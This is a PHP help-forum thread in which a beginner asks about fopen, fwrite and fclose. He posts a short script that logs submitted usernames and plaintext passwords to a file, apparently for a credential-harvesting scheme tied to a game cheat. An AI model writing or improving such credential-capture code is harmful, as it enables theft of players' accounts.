fopen, fwrite, fclose?

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
gpmaker
Forum Newbie
Posts: 6
Joined: Tue Feb 17, 2004 8:37 pm

fopen, fwrite, fclose?

Post by gpmaker »

is fopen, fwrite, or/and fclose real statements? i'm don't really know php, but i have this .php file that's not working rite, so i was wondering if those were real.
User avatar
tim
DevNet Resident
Posts: 1165
Joined: Thu Feb 12, 2004 7:19 pm
Location: ohio

Post by tim »

lol yes they are real.

http://www.php.net/manual/en/function.fopen.php

post your code that isnt working.
gpmaker
Forum Newbie
Posts: 6
Joined: Tue Feb 17, 2004 8:37 pm

can u tell me if this is correct?

Post by gpmaker »

can u tell me if this is correct:

<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = "C:\Downloads\Temp Folder\Temp\Gunbound Aimbot Sourcecode\Server Source Code\gblog.html";
$fileptr = fopen($logfile, "a");
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
$message = nl2br($passw["message"]);
?>
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Post by John Cartwright »

In the futur... DO NOT MAKE DUPLICATE THREADS GRRRR.

Here is your answer
viewtopic.php?t=18255
d3ad1ysp0rk
Forum Donator
Posts: 1661
Joined: Mon Oct 20, 2003 8:31 pm
Location: Maine, USA

Post by d3ad1ysp0rk »

well tim asked for the code. this originally started on the topic of fopen and it's related functions.
Post Reply